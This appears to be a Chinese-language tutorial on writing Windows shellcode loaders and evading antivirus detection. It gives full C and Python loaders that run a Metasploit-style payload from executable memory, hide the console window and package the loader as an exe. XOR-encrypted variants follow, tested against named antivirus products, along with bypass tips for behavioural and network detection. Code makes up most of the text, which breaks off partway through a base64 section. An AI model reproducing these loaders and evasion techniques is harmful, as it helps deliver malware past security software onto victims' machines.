shellcode

什么是shellcode

Shellcode 是一种特殊的二进制代码, 主要目的是在目标系统上执行特定的操作,例如获取系统权限、建立远程访问通道、执行恶意代码等。以为我的二进制漏洞利用ret2shellcode来看,就是写了一个特定任务的机器码指令,他们被设计成紧凑且直接执行所需操作的二进制表示形式。

这些指令被用于利用漏洞、执行特定的恶意功能或远程命令与控制(C2)服务建立连接

1
exe文件-->硬盘-->把exe内容、读取到内存中-->转成二进制指令-->cpu运行

shellcode通常以二进制格式存储,以为它需要直接由计算机的中央处理单元(CPU)执行。

一般情况下,shellcode可能以十六进制字符串的形式出现,但在程序运行时,常被解析为二进制数据。并且要使用它,通常要将它嵌入到合适的载体中或者以其他方式将其传递给目标系统,以便执行其中命令。

shellcode加载器

shellcode加载器用于帮助shellcode文件/16进制字符串的shellcode,运行的工具,通过由一段代码组成,帮助shellcode在目标程序运行起来。

如何编写:

由于shellcode直接由cpu执行,所以我们要一个程序运行需要以下几个功能

  • 开辟内存
  • 把shellcode存到这块内存中
  • 想办法让这块内存中的shellcode被cpu执行,回调函数执行

如何执行执行这些功能:

windows自带的一下api可以帮助我们实现

VirtualAlloc函数

VirtualAlloc是WindowsAPI中用于分配/申请、保留或提交内存区域的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
LPVOID VirtualAlloc(
LPVOID lpAddress, //指定分配或保留的内存区域的首选地址,如果为NULL,则系统会选合适地址,如果指定,系统则在指定基址分配内存,但必须注意地址是页对齐的
SIZE_T dwSize, //指定内存分配区域大小,以字节为单位大小
DWORD flAllocationType, //指定分配类型,可能包括的值有:
//MEM_COMMIT(0x1000):将物理页分配给内存中的一个页或多个页,有初始化为0过程。同时指定 MEM_RESERVE,而系统会保留地址空间不被在分配。
//MEM_RESERVE(0x2000):保留地址空间,不分配物理内存。目的是阻止其他内存分配函数malloc和 localAlloc等在使用已保存的内存范围,直至释放。
//MEM_RESET(0x80000):将分配的页面初始化为0,这个标志仅在使用MEM_COMMOT标志时才有意义。
DWORD flProtect //指定内存保护属性,其中值可能包括:
//PAGE_EXECUTE(0x10):运行页面被执行
//PAGE_EXECUTE_READ(0x20):运行页面被执行和读取
//PAGE_EXECUTE_READWRITE(0x40):运行页面被执行、读取和写入
//PAGE_EXECUTE_WRITECOPY (0x80):允许页面被执行和写入。
//PAGE_READONLY (0x02):允许页面被读取。
//AGE_READWRITE (0x04):允许页面被读取和写入。
//PAGE_WRITECOPY (0x08):允许页面被写入。页面内容可以被其他进程写入。
);

memcpy函数

C标准库中的一个函数,用于将内存块的内容从一个位置复制到另一个位置

1
2
3
4
5
void *memcpy( 
void *dest, //执行目标内存区域的指针,即复制操作的目标位置。
const void *src, //指向源内存区域的指针,即复制操作的源位置
size_t n //要复制的字节数
);

CreateThread

CreateThread是Windows API 中用于创建新线程的函数

1
2
3
4
5
6
7
8
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//指向SECURITY_ATTRIBUTES结构的指针,用于指定新线程的安全性。可以为 NULL,表示使用默认的线程安全性
SIZE_T dwStackSize, //指定新线程的初始堆栈大小,可以为0,表示默认堆栈大小
LPTHREAD_START_ROUTINE lpStartAddress, //指向线程函数的指针,即新线程的入口点。
LPVOID lpParameter, //传递给线程函数的参数
DWORD dwCreationFlags, //指定新线程的创建标志。0 : 默认标志,表示线程立即可执行CREATE_SUSPENDED (0x00000004):创建后线程处于挂起状态,需要调用ResumeThread 才能执行。
LPDWORD lpThreadId //一个指向DWORD的指针,用于接收新线程的标识符。可以为NULL
);

C语言加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <windows.h> // Windows API 和 一些常量
#include <stdio.h> // 标准输入输出库的头文件
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

void main() {
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID exec = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (exec == NULL) {
return;
}
// 把shellcode拷贝到这块内存
memcpy(exec, buf, sizeof(buf));
// 创建线程运行
HANDLE hThread = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)exec,
NULL,
NULL,
0);
// 等待线程运行
WaitForSingleObject(hThread, -1);
// 关闭线程
CloseHandle(hThread);
}

python加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import ctypes

# 获取 Windows API 函数
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject

# shellcode(可以用 msfvenom 或 Cobalt Strike 生成)
buf = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56"
b"\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48"
b"\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61"
b"\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48"
b"\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85"
b"\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0"
b"\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31"
b"\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24"
b"\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
b"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
b"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41"
b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48"
b"\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
b"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e"
b"\x65\x78\x65\x00"
)

# 分配内存(RWX)
VirtualAlloc.restype = ctypes.c_uint64 # 确保 64 位返回值
p = VirtualAlloc(0, len(buf), 0x3000, 0x40)

# 检查 VirtualAlloc 是否成功
if not p:
print("VirtualAlloc 失败")
exit(1)

print(f"[+] 分配内存成功,地址: {hex(p)}")

# 复制 shellcode 到分配的内存
buf_pointer = (ctypes.c_char * len(buf)).from_buffer(bytearray(buf))
RtlMoveMemory(ctypes.c_void_p(p), buf_pointer, len(buf))

print("[+] Shellcode 写入成功")

# 创建线程执行 shellcode
hThread = CreateThread(0, 0, ctypes.c_void_p(p), 0, 0, ctypes.pointer(ctypes.c_int(0)))

# 检查 CreateThread 是否成功
if not hThread:
print("CreateThread 失败")
exit(1)

print(f"[+] 线程创建成功,句柄: {hex(hThread)}")

# 等待线程执行
WaitForSingleObject(hThread, -1)

python打包成exe

1
2
3
4
5
6
7
8
9
10
pip3 install pyinstaller

pyinstaller -F -w calc.py
-F 打包成一个exe文件
-w 不显示黑窗口 (默认会显示) , 也可以用 --noconsole 参数
-i 指定图标 , .ico文件 或者是exe文件 , 会自动提取exe文件的图标 (不推荐图标)
-n 指定打包好的文件名
--clean 清除上一次打包的文件
--key cjiurfe11a 混淆代码功能 (需要安装 pip3 install tinyaes)

免杀

什么是免杀

免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。

它是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或者没能力接触这些深层技术。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

简单来说就是通过一些技术手段,让你的恶意样本(病毒和木马)规避掉杀毒软件的检测,能够像正常程序一样运行。

为什么有免杀

默认一些C2生成的木马,其特征已经被各大杀毒软件给标记到了自己的木马病毒库中,所以在实战中如果目标存在杀软,我们需要对自己的木马进行免杀。

免杀有哪些方法

常见的免杀方法

  • 加壳
  • shellcode混淆、加密
  • 各种语言的加载器、c、python、go等
  • powershell混淆免杀
  • 分离免杀(远程加载)shellcode和加载器不写在一个文件中,远程加载等
  • 黑加白(白名单程序执行恶意样本)
  • 使用github上的一些免杀工具
  • 自己写加载器
  • 自己写/二开远控等等

杀软的查杀基本原理

杀毒软件对程序的划分大致分为三种

无害

没有可疑行为,没有任何的特征符合病毒和木马

可疑

存在可疑行为,例如操作注册表、打开powershell、修改用户、操作敏感文件等

存在木马病毒

特征符合木马或病毒

杀软常用的识别恶意样本的方式

  • 静态查杀
  • 动态查杀(启发式查杀)

静态查杀

静态查杀通常是会使用病毒特征库,这是一个包含病毒、恶意软件或者其他威胁的特定标识的数据库。这些特定标识可以是文件的代码特定片段、独特的字符串、文件结构等。杀软通过对比这些文件特征与特征库中存在信息是否匹配,来判断文件是否恶意。

代码中的函数

杀软会通过反编译/查看exe字符串的方式查看代码,可以看到里面的一些函数和汇编代码。

比如:rtualalloc,rtlmovememory,creatthread 等

主要都是 windows api 函数,尤其是和内存、堆、线程相关的函数

shellcode特征

1
\xfc\x48\x83...

文件名和md5

如果这个文件名使用了 rlo 翻转的话 , 无论是否是病毒都会直接杀 , md5值的话就是匹配样本库中的

md5值 , 看是否存在

1
demo.txt.exe --> demo.exe.txt

查看文件 md5 hash

1
CertUtil -hashfile 文件路径 md5

加密

使用加密解密行为或者对文件有额外保护措施(加壳)

数字签名

正规的程序 , 都是有数字签名的

动态查杀

通常这一步都是静态分析之后做的,大多杀毒软件会有云沙箱 , 相当于开一个虚拟机运行一下你的恶意样本, 通过分析程序指令出现的顺序,或者特定的组合情况以及所调用的函数及其参数等属于恶意行为特征,来判断目标程序是不是病毒程序。

相比于静态查杀,动态查杀更关注程序的执行过程,允许检测和分析未知的、可能是恶意的行为。

计算机相关

通常由r1或r2层挂监控的方式(类似于hook)当触发这些条件就会产生事件 , 例如 : 360会在系统的内核层会对注册表和net1.exe进行监控 , 注册表的监控相对不那么严格 , 可以通过 win32 api 添加用户 , 通常杀软监控的有

1
2
3
4
5
6
7
8
9
10
服务
注册表
组策略
防火墙
敏感程序 : cmd powershell wmi psexec bitsadmin rundll等
用户 : 添加,删除,修改等操作
文件夹 :
C:\windows\system32
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
%tmp% 等敏感文件夹

常见的绕过思路 : 替换方式方法 , cmd用不了 , 换powershell(混淆,编码,加密), 换windows api函数 , 或者用shellcode

网络相关

1
2
3
4
5
6
iP,域名,证书
查找通讯的ip或域名是否之前存在攻击行为
流量内容
时间特征:扫描等, 大规模扫描或其他不寻常的网络行为
内容特征:data字段中是否存在命令控制相关的关键词或或者加密特征
结构特征:是否存在已知远控的通讯结构特征 \x00\x00\0x00\x0

常见的绕过思路

tcp分段、内容加密、使用合法证书等。

补充:有些杀软可能没有那么强,但是总体杀软识别的就是这个大概思路。

样本启动流程

image-20250329170253250

shellcode处理

shellcode加密

异或加密

一种非常简单方便的shellcode处理方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>

void xor_encrypt_decrypt(const char *input_file, const char *output_file, int key) {
FILE *fin = fopen(input_file, "rb");
if (!fin) {
perror("无法打开输入文件");
exit(EXIT_FAILURE);
}

FILE *fout = fopen(output_file, "wb");
if (!fout) {
perror("无法创建输出文件");
fclose(fin);
exit(EXIT_FAILURE);
}

int ch;
while ((ch = fgetc(fin)) != EOF) {
fputc(ch ^ key, fout); // 使用密钥进行 XOR 加密/解密
}

fclose(fin);
fclose(fout);
printf("加密/解密完成,已生成 %s\n", output_file);
}

int main(int argc, char *argv[]) {
if (argc != 4) {
printf("用法: %s <输入文件> <密钥> <输出文件>\n", argv[0]);
return EXIT_FAILURE;
}

int key = atoi(argv[2]); // 从命令行获取密钥(转换为整数)
xor_encrypt_decrypt(argv[1], argv[3], key); // 加密/解密
return EXIT_SUCCESS;
}

这里笔者使用命令执行的编码

1
./xor.exe shellcode.bin 99 output.bin

生成成功后,我们再用xxd将其提取出来即可

1
xxd -p out.bin | sed 's/\(..\)/\\x\1/g'

然后我们用加载器生成一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}
unsigned char buf[] = {
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63"
};


int main() {
// 异或解密
int key = 99;
myXor(buf, sizeof(buf), key);
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块

LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (addr == NULL) {
return 1;
}
// 把shellcode拷贝到这块内存
memcpy(addr, buf, sizeof(buf));
// 创建线程运行
HANDLE hThread = CreateThread(NULL,
NULL,
(LPTHREAD_START_ROUTINE)addr,
NULL,
NULL,
0);
// 等待线程运行

WaitForSingleObject(hThread, -1);
// 关闭线程
CloseHandle(hThread);

return 0;
}

当然生成的这个,是包被杀的,因为是单次异或,又或者是进程存在了密钥进行解密了,所以建议使用命令行传密钥。

image-20250329201111824

image-20250329201652173

这里尝试两次异或试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char buf[] = {

"\xc7\x73\xb8\xdf\xcb\xd3\xfb\x3b\x3b\x3b\x7a\x6a\x7a\x6b\x69\x6a\x6d\x73\x0a\xe9\x5e\x73\xb0\x69\x5b\x73\xb0\x69\x23\x73"
"\xb0\x69\x1b\x73\xb0\x49\x6b\x73\x34\x8c\x71\x71\x76\x0a\xf2\x73\x0a\xfb\x97\x07\x5a\x47\x39\x17\x1b\x7a\xfa\xf2\x36\x7a"
"\x3a\xfa\xd9\xd6\x69\x7a\x6a\x73\xb0\x69\x1b\xb0\x79\x07\x73\x3a\xeb\xb0\xbb\xb3\x3b\x3b\x3b\x73\xbe\xfb\x4f\x5c\x73\x3a"
"\xeb\x6b\xb0\x73\x23\x7f\xb0\x7b\x1b\x72\x3a\xeb\xd8\x6d\x73\xc4\xf2\x7a\xb0\x0f\xb3\x73\x3a\xed\x76\x0a\xf2\x73\x0a\xfb"
"\x97\x7a\xfa\xf2\x36\x7a\x3a\xfa\x03\xdb\x4e\xca\x77\x38\x77\x1f\x33\x7e\x02\xea\x4e\xe3\x63\x7f\xb0\x7b\x1f\x72\x3a\xeb"
"\x5d\x7a\xb0\x37\x73\x7f\xb0\x7b\x27\x72\x3a\xeb\x7a\xb0\x3f\xb3\x73\x3a\xeb\x7a\x63\x7a\x63\x65\x62\x61\x7a\x63\x7a\x62"
"\x7a\x61\x73\xb8\xd7\x1b\x7a\x69\xc4\xdb\x63\x7a\x62\x61\x73\xb0\x29\xd2\x6c\xc4\xc4\xc4\x66\x73\x81\x3a\x3b\x3b\x3b\x3b"
"\x3b\x3b\x3b\x73\xb6\xb6\x3a\x3a\x3b\x3b\x7a\x81\x0a\xb0\x54\xbc\xc4\xee\x80\xcb\x8e\x99\x6d\x7a\x81\x9d\xae\x86\xa6\xc4"
"\xee\x73\xb8\xff\x13\x07\x3d\x47\x31\xbb\xc0\xdb\x4e\x3e\x80\x7c\x28\x49\x54\x51\x3b\x62\x7a\xb2\xe1\xc4\xee\x58\x5a\x57"
"\x58\x15\x5e\x43\x5e\x3b"
};

int main() {
// 第一次异或加密
int key = 99;
myXor(buf, sizeof(buf), key);

// 第二次异或加密,使用不同的密钥
int key1 = 88;
myXor(buf, sizeof(buf), key1);

// 使用VirtualAlloc 函数申请一个shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 申请失败, 退出
if (addr == NULL) {
return 1;
}

// 把shellcode拷贝到这块内存
memcpy(addr, buf, sizeof(buf));

// 创建线程运行
HANDLE hThread = CreateThread(NULL,
NULL,
(LPTHREAD_START_ROUTINE)addr,
NULL,
NULL,
0);

// 等待线程运行
WaitForSingleObject(hThread, INFINITE);

// 关闭线程
CloseHandle(hThread);

return 0;
}

发现也是行不通的,这里采用命令行传密钥即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char buf[] = {
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63"
};

int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(buf, sizeof(buf), key);

// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 申请失败,退出
if (addr == NULL) {
return 1;
}

// 把shellcode拷贝到这块内存
memcpy(addr, buf, sizeof(buf));

// 创建线程运行
HANDLE hThread = CreateThread(NULL,
NULL,
(LPTHREAD_START_ROUTINE)addr,
NULL,
NULL,
0);

// 等待线程运行
WaitForSingleObject(hThread, -1);

// 关闭线程
CloseHandle(hThread);

return 0;
}
1
./xxx.exe 99

这里注意的是火绒过了,360没过。

这块笔者也是试了二次异或进行命令行传参,当然是没有过的,所以还是建议换一种进行加密。

base64加密

使用c语言实现一个从16进制字符串中读取shellcode, 进行base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <stdint.h>

const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

// Base64 编码
char* base64_encode(const unsigned char* data, size_t input_length) {
size_t output_length = 4 * ((input_length + 2) / 3);
char* encoded_data = (char*)malloc(output_length + 1);
if (!encoded_data) return NULL;

size_t i, j;
for (i = 0, j = 0; i < input_length;) {
uint32_t octet_a = i < input_length ? data[i++] : 0;
uint32_t octet_b = i < input_length ? data[i++] : 0;
uint32_t octet_c = i < input_length ? data[i++] : 0;

uint32_t triple = (octet_a << 16) | (octet_b << 8) | octet_c;

encoded_data[j++] = base64_chars[(triple >> 18) & 0x3F];
encoded_data[j++] = base64_chars[(triple >> 12) & 0x3F];
encoded_data[j++] = (i > input_length + 1) ? '=' : base64_chars[(triple >> 6) & 0x3F];
encoded_data[j++] = (i > input_length) ? '=' : base64_chars[triple & 0x3F];
}
encoded_data[output_length] = '\0';
return encoded_data;
}

// 解析 16 进制字符串(支持连续 hex 和 \x 格式)
unsigned char* hex_to_bytes(const char* hex, size_t* output_length) {
size_t len = strlen(hex);
size_t count = 0;

// 计算有效 16 进制字符数
for (size_t i = 0; i < len; i++) {
if (isxdigit((unsigned char)hex[i])) {
count++;
}
}

if (count % 2 != 0) {
fprintf(stderr, "Error: Hex string length must be even (got %zu)\n", count);
return NULL;
}

*output_length = count / 2;
unsigned char* bytes = (unsigned char*)malloc(*output_length);
if (!bytes) return NULL;

size_t j = 0;
for (size_t i = 0; i < len && j < *output_length;) {
if (hex[i] == '\\' && hex[i + 1] == 'x') {
i += 2; // 跳过 \x
if (i + 1 < len && isxdigit((unsigned char)hex[i]) && isxdigit((unsigned char)hex[i + 1])) {
sscanf(hex + i, "%2hhx", &bytes[j++]);
i += 2;
}
}
else if (isxdigit((unsigned char)hex[i]) && isxdigit((unsigned char)hex[i + 1])) {
sscanf(hex + i, "%2hhx", &bytes[j++]);
i += 2;
}
else {
i++; // 跳过非 16 进制字符
}
}
return bytes;
}

int main(int argc, char* argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <hex file>\n", argv[0]);
return 1;
}

FILE* file = fopen(argv[1], "r"); // 文本模式读取
if (!file) {
perror("Error opening file");
return 1;
}

// 获取文件大小
fseek(file, 0, SEEK_END);
long file_size = ftell(file);
rewind(file);

// 读取文件
char* hex_data = (char*)malloc(file_size + 1);
if (!hex_data) {
fprintf(stderr, "Memory allocation failed\n");
fclose(file);
return 1;
}
fread(hex_data, 1, file_size, file);
hex_data[file_size] = '\0';
fclose(file);

// 解析 Hex
size_t binary_length;
unsigned char* binary_data = hex_to_bytes(hex_data, &binary_length);
if (!binary_data) {
fprintf(stderr, "Failed to parse hex data from %s\n", argv[1]);
free(hex_data);
return 1;
}
free(hex_data);

// Base64 编码
char* base64_output = base64_encode(binary_data, binary_length);
free(binary_data);

if (!base64_output) {
fprintf(stderr, "Base64 encoding failed\n");
return 1;
}

printf("%s\n", base64_output);
free(base64_output);
return 0;
}
1
./miansha.exe p.txt

得到我们生成的base64编码

1
